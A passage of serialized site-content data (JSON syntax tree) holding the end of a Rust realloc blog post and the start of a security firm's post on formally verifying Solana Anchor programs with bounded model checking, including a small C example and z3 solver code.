5",[18246],[18363],{"type":32,"value":18249},{"type":26,"tag":86,"props":18365,"children":18367},{"id":18366},"user-content-fn-slice-unbound-lifetime",[18368,18370,18375,18377,18383,18385,18391,18393,18399,18401,18407,18409,18415,18417,18422,18424],{"type":32,"value":18369},"The astute reader may have noticed that ",{"type":26,"tag":53,"props":18371,"children":18373},{"className":18372},[],[18374],{"type":32,"value":18062},{"type":32,"value":18376}," still returns an unbounded lifetime (notice in the signature ",{"type":26,"tag":53,"props":18378,"children":18380},{"className":18379},[],[18381],{"type":32,"value":18382},"unsafe fn from_raw_parts_mut\u003C'a, T>(data: *mut T, len: usize) -> &'a mut [T]",{"type":32,"value":18384},", the lifetime parameter ",{"type":26,"tag":53,"props":18386,"children":18388},{"className":18387},[],[18389],{"type":32,"value":18390},"'a",{"type":32,"value":18392}," does not appear in the arguments). However, we immediately constrain the lifetime by assigning it to ",{"type":26,"tag":53,"props":18394,"children":18396},{"className":18395},[],[18397],{"type":32,"value":18398},"*slice",{"type":32,"value":18400},", which is ",{"type":26,"tag":53,"props":18402,"children":18404},{"className":18403},[],[18405],{"type":32,"value":18406},"&'info [u8]",{"type":32,"value":18408}," (where ",{"type":26,"tag":53,"props":18410,"children":18412},{"className":18411},[],[18413],{"type":32,"value":18414},"'info",{"type":32,"value":18416}," is the lifetime parameter of the ",{"type":26,"tag":53,"props":18418,"children":18420},{"className":18419},[],[18421],{"type":32,"value":14644},{"type":32,"value":18423}," struct) - this is exactly the lifetime we started with. ",{"type":26,"tag":116,"props":18425,"children":18429},{"href":18426,"ariaLabel":18427,"className":18428,"dataFootnoteBackref":7},"#user-content-fnref-slice-unbound-lifetime","Back to reference 6",[18246],[18430],{"type":32,"value":18249},{"type":26,"tag":2548,"props":18432,"children":18433},{},[18434],{"type":32,"value":2552},{"title":7,"searchDepth":516,"depth":516,"links":18436},[18437,18443,18447,18448,18450],{"id":14075,"depth":516,"text":18438,"children":18439},"Breaking down realloc",[18440,18441],{"id":14241,"depth":539,"text":14244},{"id":15597,"depth":539,"text":18442},"Back to realloc",{"id":16549,"depth":516,"text":16552,"children":18444},[18445,18446],{"id":16555,"depth":539,"text":16558},{"id":16777,"depth":539,"text":16780},{"id":16964,"depth":516,"text":16967},{"id":17366,"depth":516,"text":18449},"Towards safer unsafe",{"id":15186,"depth":516,"text":18141},"content:blog:2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references",{"_path":18455,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":18456,"description":18457,"author":18458,"image":18459,"date":18461,"isFeatured":18,"onBlogPage":18,"tags":18462,"body":18463,"_type":2566,"_id":28701,"_source":2568,"_file":28702,"_stem":28703,"_extension":2571},"/blog/2023-01-26-formally-verifying-solana-programs","Solana Formal Verification: A Case Study","We present a novel framework for formal verification of Solana Anchor programs — and a case study application to the Squads multisig.","harrison",{"src":18460,"height":13330,"width":17},"/posts/formally-verifying-solana-programs/formal-verification-title.jpg","2023-01-26",[2583,2584],{"type":23,"children":18464,"toc":28673},[18465,18470,18475,18501,18505,18517,18540,18563,18575,18598,18601,18607,18656,18662,18668,18673,18684,18725,18730,18736,18741,18974,18994,18999,19004,19077,19082,19152,19166,19590,19610,19616,19635,19640,19645,19650,19656,19668,19703,19714,19725,19737,19742,19773,19797,19816,19822,19839,19845,19872,19877,19897,19909,20055,20083,20086,20098,20181,20200,20203,20242,20409,20414,20420,20432,20451,20464,20625,20637,20650,21124,21129,21176,21182,21200,21269,21507,21721,21726,21800,21848,21853,21859,21961,22065,22070,22133,22138,22144,22209,22214,22256,22282,22288,22357,22362,22412,22423,22429,22440,22461,22466,22471,22494,22500,22512,22532,23628,23647,23698,23703,23711,23723,23728,23736,23741,23757,23793,23798,23892,23897,23905,23910,24022,24027,24035,24048,24212,24217,24225,24230,24235,24303,24337,24343,24348,24359,24377,24755,24767,24779,24787,24798,24829,24834,24842,24847,25120,25139,25144,25170,26038,26050,26149,26161,26203,26208,26220,26228,26233,26245,26271,26431,26443,26451,26456,26732,26737,26749,26904,26924,27250,27284,27478,27511,27523,27645,27665,27670,27675,27680,27693,27701,27706,28181,28193,28198,28210,28215,28474,28500,28505,28511,28517,28529,28541,28560,28607,28612,28618,28623,28628,28633,28637,28642,28647,28650,28669],{"type":26,"tag":35,"props":18466,"children":18467},{},[18468],{"type":32,"value":18469},"Since the early days of computing, bugs have crept their way into programs and wreaked havoc on the intentions of the programmer. Logical fallacies, race conditions, or simple typos could manifest as crashes or lay undetected, silently breaking the functionality of the host program.",{"type":26,"tag":35,"props":18471,"children":18472},{},[18473],{"type":32,"value":18474},"When your program is connected to the internet, there is the new risk that bugs may introduce security holes into your system. Even simple buffer overflows can be exploited by skilled attackers to compromise the integrity of your program.",{"type":26,"tag":35,"props":18476,"children":18477},{},[18478,18480,18484,18486,18491,18493,18500],{"type":32,"value":18479},"In the world of Web3 we create programs that talk to strangers ",{"type":26,"tag":2615,"props":18481,"children":18482},{},[18483],{"type":32,"value":16077},{"type":32,"value":18485}," control millions of dollars 🤑. Bugs in these programs are some of the ",{"type":26,"tag":2615,"props":18487,"children":18488},{},[18489],{"type":32,"value":18490},"juciest",{"type":32,"value":18492},"; anonymous attackers that can find and exploit them will walk away with potentially ",{"type":26,"tag":116,"props":18494,"children":18497},{"href":18495,"rel":18496},"https://rekt.news/leaderboard/",[120],[18498],{"type":32,"value":18499},"hundreds of millions of dollars",{"type":32,"value":353},{"type":26,"tag":18502,"props":18503,"children":18504},"hr",{},[],{"type":26,"tag":35,"props":18506,"children":18507},{},[18508,18510,18515],{"type":32,"value":18509},"At OtterSec we are ",{"type":26,"tag":2615,"props":18511,"children":18512},{},[18513],{"type":32,"value":18514},"highly skilled in pest control",{"type":32,"value":18516}," - finding and squashing bugs before they are exploited by less well-intentioned hackers. We are constantly striving to improve our techniques and develop new technologies that aid in our auditing processes.",{"type":26,"tag":35,"props":18518,"children":18519},{},[18520,18522,18529,18531,18538],{"type":32,"value":18521},"Recently we were contacted by the ",{"type":26,"tag":116,"props":18523,"children":18526},{"href":18524,"rel":18525},"https://squads.so/",[120],[18527],{"type":32,"value":18528},"Squads team",{"type":32,"value":18530}," to explore how formal verification could be used to verify security-critical properties of Solana programs. We were really excited about this opportunity and have been developing a prototype with the ",{"type":26,"tag":116,"props":18532,"children":18535},{"href":18533,"rel":18534},"https://github.com/Squads-Protocol/squads-mpl",[120],[18536],{"type":32,"value":18537},"Squads Multisig Program",{"type":32,"value":18539}," as our main case study.",{"type":26,"tag":35,"props":18541,"children":18542},{},[18543,18545,18552,18554,18561],{"type":32,"value":18544},"We now have a (mostly) working prototype that can be used to formally verify critical properties of Solana programs in order to ensure a higher level of security. Our tool integrates with ",{"type":26,"tag":116,"props":18546,"children":18549},{"href":18547,"rel":18548},"https://www.anchor-lang.com/",[120],[18550],{"type":32,"value":18551},"anchor-lang",{"type":32,"value":18553}," and provides new APIs to specify invariants for your Solana code. It then autogenerates proof harnesses which are verified with the ",{"type":26,"tag":116,"props":18555,"children":18558},{"href":18556,"rel":18557},"https://github.com/model-checking/kani",[120],[18559],{"type":32,"value":18560},"Kani Rust Verifier",{"type":32,"value":18562},". Additionally, we are implementing a formal-verification-friendly runtime SDK layer that accelerates the expensive process of running formal verification tools on complex code.",{"type":26,"tag":35,"props":18564,"children":18565},{},[18566,18568,18573],{"type":32,"value":18567},"In this blog post, we're excited to share our progress and the challenges we've encountered during the process. We will describe the main concepts behind ",{"type":26,"tag":2615,"props":18569,"children":18570},{},[18571],{"type":32,"value":18572},"bounded model checking",{"type":32,"value":18574}," (our formal verification method of choice) and explain how we've applied these concepts to Solana.",{"type":26,"tag":35,"props":18576,"children":18577},{},[18578],{"type":26,"tag":2615,"props":18579,"children":18580},{},[18581,18583,18590,18592],{"type":32,"value":18582},"If you're interested in learning more or getting your own programs formally verified, let us know! We'd be excited to chat with you! — Fill out ",{"type":26,"tag":116,"props":18584,"children":18587},{"href":18585,"rel":18586},"https://osec.io/contact",[120],[18588],{"type":32,"value":18589},"this form",{"type":32,"value":18591}," or email us at ",{"type":26,"tag":116,"props":18593,"children":18595},{"href":18594},"mailto:contact@osec.io",[18596],{"type":32,"value":18597},"contact@osec.io",{"type":26,"tag":18502,"props":18599,"children":18600},{},[],{"type":26,"tag":70,"props":18602,"children":18604},{"id":18603},"contents",[18605],{"type":32,"value":18606},"Contents:",{"type":26,"tag":181,"props":18608,"children":18609},{},[18610,18615,18632,18642,18647,18652],{"type":26,"tag":86,"props":18611,"children":18612},{},[18613],{"type":32,"value":18614},"Formal Verification with Bounded Model Checking\na. Overview\nb. A simple example\nc. Loop bounds & path explosion\nd. The Kani Rust Verifier",{"type":26,"tag":86,"props":18616,"children":18617},{},[18618,18623,18625,18630],{"type":26,"tag":105,"props":18619,"children":18620},{},[18621],{"type":32,"value":18622},"Specification",{"type":32,"value":18624},": How can we describe what we ",{"type":26,"tag":2615,"props":18626,"children":18627},{},[18628],{"type":32,"value":18629},"want",{"type":32,"value":18631}," our program to do?",{"type":26,"tag":86,"props":18633,"children":18634},{},[18635,18640],{"type":26,"tag":105,"props":18636,"children":18637},{},[18638],{"type":32,"value":18639},"Verification",{"type":32,"value":18641},": How do we check that our model is correct?",{"type":26,"tag":86,"props":18643,"children":18644},{},[18645],{"type":32,"value":18646},"Case Study: Squads Multisig",{"type":26,"tag":86,"props":18648,"children":18649},{},[18650],{"type":32,"value":18651},"Additional challenges in Solana",{"type":26,"tag":86,"props":18653,"children":18654},{},[18655],{"type":32,"value":2536},{"type":26,"tag":27,"props":18657,"children":18659},{"id":18658},"formal-verification-with-bounded-model-checking",[18660],{"type":32,"value":18661},"Formal Verification with Bounded Model Checking",{"type":26,"tag":41,"props":18663,"children":18665},{"id":18664},"overview",[18666],{"type":32,"value":18667},"Overview",{"type":26,"tag":35,"props":18669,"children":18670},{},[18671],{"type":32,"value":18672},"Formal verification is the process of using a formal specification to verify the correctness of a system. In this case, the systems we are verifying are programs written in Rust that run on the Solana blockchain.",{"type":26,"tag":35,"props":18674,"children":18675},{},[18676,18678,18683],{"type":32,"value":18677},"There are many different flavors of formal verification, however in this research we are using ",{"type":26,"tag":105,"props":18679,"children":18680},{},[18681],{"type":32,"value":18682},"bounded model checking (BMC)",{"type":32,"value":353},{"type":26,"tag":35,"props":18685,"children":18686},{},[18687,18689,18694,18696,18701,18703,18707,18709,18715,18717,18723],{"type":32,"value":18688},"In short, the idea of BMC is to execute our program ",{"type":26,"tag":2615,"props":18690,"children":18691},{},[18692],{"type":32,"value":18693},"symbolically",{"type":32,"value":18695}," rather than ",{"type":26,"tag":2615,"props":18697,"children":18698},{},[18699],{"type":32,"value":18700},"concretely",{"type":32,"value":18702},". Instead of actually performing an ",{"type":26,"tag":2615,"props":18704,"children":18705},{},[18706],{"type":32,"value":9346},{"type":32,"value":18708}," when we see the line ",{"type":26,"tag":53,"props":18710,"children":18712},{"className":18711},[],[18713],{"type":32,"value":18714},"int x = a + b",{"type":32,"value":18716},", we store the symbolic expression ",{"type":26,"tag":53,"props":18718,"children":18720},{"className":18719},[],[18721],{"type":32,"value":18722},"x == a + b",{"type":32,"value":18724},". We do this for every line and once we reach the end of the program we have compiled a huge list of symbolic expressions. At this point, we can feed these expressions to a SMT solver along with a correctness property P in order to check if our program satisfies this property.",{"type":26,"tag":35,"props":18726,"children":18727},{},[18728],{"type":32,"value":18729},"If we hit a branch as we are tracing the program, we will take both sides of the branch adding the positive branch condition as a constraint to one side and the negative condition to the other side.",{"type":26,"tag":41,"props":18731,"children":18733},{"id":18732},"a-simple-example",[18734],{"type":32,"value":18735},"A simple example",{"type":26,"tag":35,"props":18737,"children":18738},{},[18739],{"type":32,"value":18740},"As an example, consider the following function:",{"type":26,"tag":465,"props":18742,"children":18744},{"code":18743,"language":2854,"meta":7,"className":16220,"style":7},"int foo(int x) {\n int y = x + 3;\n int z;\n if (y > 100) {\n z = y * 2;\n } else {\n z = y + 1;\n }\n\n // Property P:\n assert(z != 105);\n}\n",[18745],{"type":26,"tag":53,"props":18746,"children":18747},{"__ignoreMap":7},[18748,18778,18812,18824,18849,18877,18892,18919,18926,18933,18941,18967],{"type":26,"tag":475,"props":18749,"children":18750},{"class":477,"line":478},[18751,18756,18761,18765,18769,18774],{"type":26,"tag":475,"props":18752,"children":18753},{"style":482},[18754],{"type":32,"value":18755},"int",{"type":26,"tag":475,"props":18757,"children":18758},{"style":493},[18759],{"type":32,"value":18760}," foo",{"type":26,"tag":475,"props":18762,"children":18763},{"style":499},[18764],{"type":32,"value":626},{"type":26,"tag":475,"props":18766,"children":18767},{"style":482},[18768],{"type":32,"value":18755},{"type":26,"tag":475,"props":18770,"children":18771},{"style":2375},[18772],{"type":32,"value":18773}," x",{"type":26,"tag":475,"props":18775,"children":18776},{"style":499},[18777],{"type":32,"value":676},{"type":26,"tag":475,"props":18779,"children":18780},{"class":477,"line":516},[18781,18786,18790,18794,18799,18803,18808],{"type":26,"tag":475,"props":18782,"children":18783},{"style":482},[18784],{"type":32,"value":18785}," int",{"type":26,"tag":475,"props":18787,"children":18788},{"style":499},[18789],{"type":32,"value":4225},{"type":26,"tag":475,"props":18791,"children":18792},{"style":714},[18793],{"type":32,"value":786},{"type":26,"tag":475,"props":18795,"children":18796},{"style":499},[18797],{"type":32,"value":18798}," x ",{"type":26,"tag":475,"props":18800,"children":18801},{"style":714},[18802],{"type":32,"value":1106},{"type":26,"tag":475,"props":18804,"children":18805},{"style":903},[18806],{"type":32,"value":18807}," 3",{"type":26,"tag":475,"props":18809,"children":18810},{"style":499},[18811],{"type":32,"value":2729},{"type":26,"tag":475,"props":18813,"children":18814},{"class":477,"line":539},[18815,18819],{"type":26,"tag":475,"props":18816,"children":18817},{"style":482},[18818],{"type":32,"value":18785},{"type":26,"tag":475,"props":18820,"children":18821},{"style":499},[18822],{"type":32,"value":18823}," z;\n",{"type":26,"tag":475,"props":18825,"children":18826},{"class":477,"line":548},[18827,18831,18836,18840,18845],{"type":26,"tag":475,"props":18828,"children":18829},{"style":586},[18830],{"type":32,"value":11988},{"type":26,"tag":475,"props":18832,"children":18833},{"style":499},[18834],{"type":32,"value":18835}," (y ",{"type":26,"tag":475,"props":18837,"children":18838},{"style":714},[18839],{"type":32,"value":10170},{"type":26,"tag":475,"props":18841,"children":18842},{"style":903},[18843],{"type":32,"value":18844}," 100",{"type":26,"tag":475,"props":18846,"children":18847},{"style":499},[18848],{"type":32,"value":676},{"type":26,"tag":475,"props":18850,"children":18851},{"class":477,"line":558},[18852,18857,18861,18865,18869,18873],{"type":26,"tag":475,"props":18853,"children":18854},{"style":499},[18855],{"type":32,"value":18856}," z ",{"type":26,"tag":475,"props":18858,"children":18859},{"style":714},[18860],{"type":32,"value":786},{"type":26,"tag":475,"props":18862,"children":18863},{"style":499},[18864],{"type":32,"value":4225},{"type":26,"tag":475,"props":18866,"children":18867},{"style":714},[18868],{"type":32,"value":4282},{"type":26,"tag":475,"props":18870,"children":18871},{"style":903},[18872],{"type":32,"value":7645},{"type":26,"tag":475,"props":18874,"children":18875},{"style":499},[18876],{"type":32,"value":2729},{"type":26,"tag":475,"props":18878,"children":18879},{"class":477,"line":582},[18880,18884,18888],{"type":26,"tag":475,"props":18881,"children":18882},{"style":499},[18883],{"type":32,"value":15484},{"type":26,"tag":475,"props":18885,"children":18886},{"style":586},[18887],{"type":32,"value":3023},{"type":26,"tag":475,"props":18889,"children":18890},{"style":499},[18891],{"type":32,"value":579},{"type":26,"tag":475,"props":18893,"children":18894},{"class":477,"line":596},[18895,18899,18903,18907,18911,18915],{"type":26,"tag":475,"props":18896,"children":18897},{"style":499},[18898],{"type":32,"value":18856},{"type":26,"tag":475,"props":18900,"children":18901},{"style":714},[18902],{"type":32,"value":786},{"type":26,"tag":475,"props":18904,"children":18905},{"style":499},[18906],{"type":32,"value":4225},{"type":26,"tag":475,"props":18908,"children":18909},{"style":714},[18910],{"type":32,"value":1106},{"type":26,"tag":475,"props":18912,"children":18913},{"style":903},[18914],{"type":32,"value":4234},{"type":26,"tag":475,"props":18916,"children":18917},{"style":499},[18918],{"type":32,"value":2729},{"type":26,"tag":475,"props":18920,"children":18921},{"class":477,"line":610},[18922],{"type":26,"tag":475,"props":18923,"children":18924},{"style":499},[18925],{"type":32,"value":851},{"type":26,"tag":475,"props":18927,"children":18928},{"class":477,"line":650},[18929],{"type":26,"tag":475,"props":18930,"children":18931},{"emptyLinePlaceholder":18},[18932],{"type":32,"value":545},{"type":26,"tag":475,"props":18934,"children":18935},{"class":477,"line":679},[18936],{"type":26,"tag":475,"props":18937,"children":18938},{"style":552},[18939],{"type":32,"value":18940}," // Property P:\n",{"type":26,"tag":475,"props":18942,"children":18943},{"class":477,"line":735},[18944,18949,18954,18958,18963],{"type":26,"tag":475,"props":18945,"children":18946},{"style":493},[18947],{"type":32,"value":18948}," assert",{"type":26,"tag":475,"props":18950,"children":18951},{"style":499},[18952],{"type":32,"value":18953},"(z ",{"type":26,"tag":475,"props":18955,"children":18956},{"style":714},[18957],{"type":32,"value":15394},{"type":26,"tag":475,"props":18959,"children":18960},{"style":903},[18961],{"type":32,"value":18962}," 105",{"type":26,"tag":475,"props":18964,"children":18965},{"style":499},[18966],{"type":32,"value":3533},{"type":26,"tag":475,"props":18968,"children":18969},{"class":477,"line":744},[18970],{"type":26,"tag":475,"props":18971,"children":18972},{"style":499},[18973],{"type":32,"value":3607},{"type":26,"tag":35,"props":18975,"children":18976},{},[18977,18979,18985,18987,18993],{"type":32,"value":18978},"This function takes an input ",{"type":26,"tag":53,"props":18980,"children":18982},{"className":18981},[],[18983],{"type":32,"value":18984},"x",{"type":32,"value":18986}," and does some computation. At the end of the program, the property we want to verify is that ",{"type":26,"tag":53,"props":18988,"children":18990},{"className":18989},[],[18991],{"type":32,"value":18992},"z != 105",{"type":32,"value":353},{"type":26,"tag":35,"props":18995,"children":18996},{},[18997],{"type":32,"value":18998},"With BMC, we could trace this program and derive the following constraints:",{"type":26,"tag":35,"props":19000,"children":19001},{},[19002],{"type":32,"value":19003},"Positive branch:",{"type":26,"tag":465,"props":19005,"children":19007},{"code":19006,"language":2854,"meta":7,"className":16220,"style":7},"y == x + 3\ny > 100\nz == y * 2\n",[19008],{"type":26,"tag":53,"props":19009,"children":19010},{"__ignoreMap":7},[19011,19036,19052],{"type":26,"tag":475,"props":19012,"children":19013},{"class":477,"line":478},[19014,19019,19023,19027,19031],{"type":26,"tag":475,"props":19015,"children":19016},{"style":499},[19017],{"type":32,"value":19018},"y ",{"type":26,"tag":475,"props":19020,"children":19021},{"style":714},[19022],{"type":32,"value":8287},{"type":26,"tag":475,"props":19024,"children":19025},{"style":499},[19026],{"type":32,"value":18798},{"type":26,"tag":475,"props":19028,"children":19029},{"style":714},[19030],{"type":32,"value":1106},{"type":26,"tag":475,"props":19032,"children":19033},{"style":903},[19034],{"type":32,"value":19035}," 3\n",{"type":26,"tag":475,"props":19037,"children":19038},{"class":477,"line":516},[19039,19043,19047],{"type":26,"tag":475,"props":19040,"children":19041},{"style":499},[19042],{"type":32,"value":19018},{"type":26,"tag":475,"props":19044,"children":19045},{"style":714},[19046],{"type":32,"value":10170},{"type":26,"tag":475,"props":19048,"children":19049},{"style":903},[19050],{"type":32,"value":19051}," 100\n",{"type":26,"tag":475,"props":19053,"children":19054},{"class":477,"line":539},[19055,19060,19064,19068,19072],{"type":26,"tag":475,"props":19056,"children":19057},{"style":499},[19058],{"type":32,"value":19059},"z ",{"type":26,"tag":475,"props":19061,"children":19062},{"style":714},[19063],{"type":32,"value":8287},{"type":26,"tag":475,"props":19065,"children":19066},{"style":499},[19067],{"type":32,"value":4225},{"type":26,"tag":475,"props":19069,"children":19070},{"style":714},[19071],{"type":32,"value":4282},{"type":26,"tag":475,"props":19073,"children":19074},{"style":903},[19075],{"type":32,"value":19076}," 2\n",{"type":26,"tag":35,"props":19078,"children":19079},{},[19080],{"type":32,"value":19081},"Negative branch:",{"type":26,"tag":465,"props":19083,"children":19085},{"code":19084,"language":2854,"meta":7,"className":16220,"style":7},"y == x + 3\ny \u003C= 100\nz == y + 1\n",[19086],{"type":26,"tag":53,"props":19087,"children":19088},{"__ignoreMap":7},[19089,19112,19128],{"type":26,"tag":475,"props":19090,"children":19091},{"class":477,"line":478},[19092,19096,19100,19104,19108],{"type":26,"tag":475,"props":19093,"children":19094},{"style":499},[19095],{"type":32,"value":19018},{"type":26,"tag":475,"props":19097,"children":19098},{"style":714},[19099],{"type":32,"value":8287},{"type":26,"tag":475,"props":19101,"children":19102},{"style":499},[19103],{"type":32,"value":18798},{"type":26,"tag":475,"props":19105,"children":19106},{"style":714},[19107],{"type":32,"value":1106},{"type":26,"tag":475,"props":19109,"children":19110},{"style":903},[19111],{"type":32,"value":19035},{"type":26,"tag":475,"props":19113,"children":19114},{"class":477,"line":516},[19115,19119,19124],{"type":26,"tag":475,"props":19116,"children":19117},{"style":499},[19118],{"type":32,"value":19018},{"type":26,"tag":475,"props":19120,"children":19121},{"style":714},[19122],{"type":32,"value":19123},"\u003C=",{"type":26,"tag":475,"props":19125,"children":19126},{"style":903},[19127],{"type":32,"value":19051},{"type":26,"tag":475,"props":19129,"children":19130},{"class":477,"line":539},[19131,19135,19139,19143,19147],{"type":26,"tag":475,"props":19132,"children":19133},{"style":499},[19134],{"type":32,"value":19059},{"type":26,"tag":475,"props":19136,"children":19137},{"style":714},[19138],{"type":32,"value":8287},{"type":26,"tag":475,"props":19140,"children":19141},{"style":499},[19142],{"type":32,"value":4225},{"type":26,"tag":475,"props":19144,"children":19145},{"style":714},[19146],{"type":32,"value":1106},{"type":26,"tag":475,"props":19148,"children":19149},{"style":903},[19150],{"type":32,"value":19151}," 1\n",{"type":26,"tag":35,"props":19153,"children":19154},{},[19155,19157,19164],{"type":32,"value":19156},"Using the ",{"type":26,"tag":116,"props":19158,"children":19161},{"href":19159,"rel":19160},"https://github.com/Z3Prover/z3",[120],[19162],{"type":32,"value":19163},"z3",{"type":32,"value":19165}," SMT solver, we could check both of these cases like so:",{"type":26,"tag":465,"props":19167,"children":19171},{"code":19168,"language":19169,"meta":7,"className":19170,"style":7},"from z3 import *\n\nx = Int('x')\ny = Int('y')\nz = Int('z')\n\n# Positive branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y > 100)\ns.add(z == y * 2)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n\n# Negative branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y \u003C= 100)\ns.add(z == y + 1)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n","python","language-python shiki shiki-themes slack-dark",[19172],{"type":26,"tag":53,"props":19173,"children":19174},{"__ignoreMap":7},[19175,19198,19205,19231,19255,19279,19286,19294,19311,19339,19358,19386,19393,19401,19421,19439,19446,19454,19469,19496,19515,19542,19549,19556,19575],{"type":26,"tag":475,"props":19176,"children":19177},{"class":477,"line":478},[19178,19183,19188,19193],{"type":26,"tag":475,"props":19179,"children":19180},{"style":586},[19181],{"type":32,"value":19182},"from",{"type":26,"tag":475,"props":19184,"children":19185},{"style":499},[19186],{"type":32,"value":19187}," z3 ",{"type":26,"tag":475,"props":19189,"children":19190},{"style":586},[19191],{"type":32,"value":19192},"import",{"type":26,"tag":475,"props":19194,"children":19195},{"style":714},[19196],{"type":32,"value":19197}," *\n",{"type":26,"tag":475,"props":19199,"children":19200},{"class":477,"line":516},[19201],{"type":26,"tag":475,"props":19202,"children":19203},{"emptyLinePlaceholder":18},[19204],{"type":32,"value":545},{"type":26,"tag":475,"props":19206,"children":19207},{"class":477,"line":539},[19208,19213,19217,19222,19227],{"type":26,"tag":475,"props":19209,"children":19210},{"style":499},[19211],{"type":32,"value":19212},"x ",{"type":26,"tag":475,"props":19214,"children":19215},{"style":714},[19216],{"type":32,"value":786},{"type":26,"tag":475,"props":19218,"children":19219},{"style":499},[19220],{"type":32,"value":19221}," Int(",{"type":26,"tag":475,"props":19223,"children":19224},{"style":629},[19225],{"type":32,"value":19226},"'x'",{"type":26,"tag":475,"props":19228,"children":19229},{"style":499},[19230],{"type":32,"value":647},{"type":26,"tag":475,"props":19232,"children":19233},{"class":477,"line":548},[19234,19238,19242,19246,19251],{"type":26,"tag":475,"props":19235,"children":19236},{"style":499},[19237],{"type":32,"value":19018},{"type":26,"tag":475,"props":19239,"children":19240},{"style":714},[19241],{"type":32,"value":786},{"type":26,"tag":475,"props":19243,"children":19244},{"style":499},[19245],{"type":32,"value":19221},{"type":26,"tag":475,"props":19247,"children":19248},{"style":629},[19249],{"type":32,"value":19250},"'y'",{"type":26,"tag":475,"props":19252,"children":19253},{"style":499},[19254],{"type":32,"value":647},{"type":26,"tag":475,"props":19256,"children":19257},{"class":477,"line":558},[19258,19262,19266,19270,19275],{"type":26,"tag":475,"props":19259,"children":19260},{"style":499},[19261],{"type":32,"value":19059},{"type":26,"tag":475,"props":19263,"children":19264},{"style":714},[19265],{"type":32,"value":786},{"type":26,"tag":475,"props":19267,"children":19268},{"style":499},[19269],{"type":32,"value":19221},{"type":26,"tag":475,"props":19271,"children":19272},{"style":629},[19273],{"type":32,"value":19274},"'z'",{"type":26,"tag":475,"props":19276,"children":19277},{"style":499},[19278],{"type":32,"value":647},{"type":26,"tag":475,"props":19280,"children":19281},{"class":477,"line":582},[19282],{"type":26,"tag":475,"props":19283,"children":19284},{"emptyLinePlaceholder":18},[19285],{"type":32,"value":545},{"type":26,"tag":475,"props":19287,"children":19288},{"class":477,"line":596},[19289],{"type":26,"tag":475,"props":19290,"children":19291},{"style":552},[19292],{"type":32,"value":19293},"# Positive branch:\n",{"type":26,"tag":475,"props":19295,"children":19296},{"class":477,"line":610},[19297,19302,19306],{"type":26,"tag":475,"props":19298,"children":19299},{"style":499},[19300],{"type":32,"value":19301},"s ",{"type":26,"tag":475,"props":19303,"children":19304},{"style":714},[19305],{"type":32,"value":786},{"type":26,"tag":475,"props":19307,"children":19308},{"style":499},[19309],{"type":32,"value":19310}," Solver()\n",{"type":26,"tag":475,"props":19312,"children":19313},{"class":477,"line":650},[19314,19319,19323,19327,19331,19335],{"type":26,"tag":475,"props":19315,"children":19316},{"style":499},[19317],{"type":32,"value":19318},"s.add(y ",{"type":26,"tag":475,"props":19320,"children":19321},{"style":714},[19322],{"type":32,"value":8287},{"type":26,"tag":475,"props":19324,"children":19325},{"style":499},[19326],{"type":32,"value":18798},{"type":26,"tag":475,"props":19328,"children":19329},{"style":714},[19330],{"type":32,"value":1106},{"type":26,"tag":475,"props":19332,"children":19333},{"style":903},[19334],{"type":32,"value":18807},{"type":26,"tag":475,"props":19336,"children":19337},{"style":499},[19338],{"type":32,"value":647},{"type":26,"tag":475,"props":19340,"children":19341},{"class":477,"line":679},[19342,19346,19350,19354],{"type":26,"tag":475,"props":19343,"children":19344},{"style":499},[19345],{"type":32,"value":19318},{"type":26,"tag":475,"props":19347,"children":19348},{"style":714},[19349],{"type":32,"value":10170},{"type":26,"tag":475,"props":19351,"children":19352},{"style":903},[19353],{"type":32,"value":18844},{"type":26,"tag":475,"props":19355,"children":19356},{"style":499},[19357],{"type":32,"value":647},{"type":26,"tag":475,"props":19359,"children":19360},{"class":477,"line":735},[19361,19366,19370,19374,19378,19382],{"type":26,"tag":475,"props":19362,"children":19363},{"style":499},[19364],{"type":32,"value":19365},"s.add(z ",{"type":26,"tag":475,"props":19367,"children":19368},{"style":714},[19369],{"type":32,"value":8287},{"type":26,"tag":475,"props":19371,"children":19372},{"style":499},[19373],{"type":32,"value":4225},{"type":26,"tag":475,"props":19375,"children":19376},{"style":714},[19377],{"type":32,"value":4282},{"type":26,"tag":475,"props":19379,"children":19380},{"style":903},[19381],{"type":32,"value":7645},{"type":26,"tag":475,"props":19383,"children":19384},{"style":499},[19385],{"type":32,"value":647},{"type":26,"tag":475,"props":19387,"children":19388},{"class":477,"line":744},[19389],{"type":26,"tag":475,"props":19390,"children":19391},{"emptyLinePlaceholder":18},[19392],{"type":32,"value":545},{"type":26,"tag":475,"props":19394,"children":19395},{"class":477,"line":753},[19396],{"type":26,"tag":475,"props":19397,"children":19398},{"style":552},[19399],{"type":32,"value":19400},"# check if we can violate the correctness property\n",{"type":26,"tag":475,"props":19402,"children":19403},{"class":477,"line":761},[19404,19409,19413,19417],{"type":26,"tag":475,"props":19405,"children":19406},{"style":499},[19407],{"type":32,"value":19408},"s.add(Not(z ",{"type":26,"tag":475,"props":19410,"children":19411},{"style":714},[19412],{"type":32,"value":15394},{"type":26,"tag":475,"props":19414,"children":19415},{"style":903},[19416],{"type":32,"value":18962},{"type":26,"tag":475,"props":19418,"children":19419},{"style":499},[19420],{"type":32,"value":1510},{"type":26,"tag":475,"props":19422,"children":19423},{"class":477,"line":770},[19424,19429,19434],{"type":26,"tag":475,"props":19425,"children":19426},{"style":493},[19427],{"type":32,"value":19428},"print",{"type":26,"tag":475,"props":19430,"children":19431},{"style":499},[19432],{"type":32,"value":19433},"(s.check()) ",{"type":26,"tag":475,"props":19435,"children":19436},{"style":552},[19437],{"type":32,"value":19438},"# \"unsat\"\n",{"type":26,"tag":475,"props":19440,"children":19441},{"class":477,"line":794},[19442],{"type":26,"tag":475,"props":19443,"children":19444},{"emptyLinePlaceholder":18},[19445],{"type":32,"value":545},{"type":26,"tag":475,"props":19447,"children":19448},{"class":477,"line":831},[19449],{"type":26,"tag":475,"props":19450,"children":19451},{"style":552},[19452],{"type":32,"value":19453},"# Negative 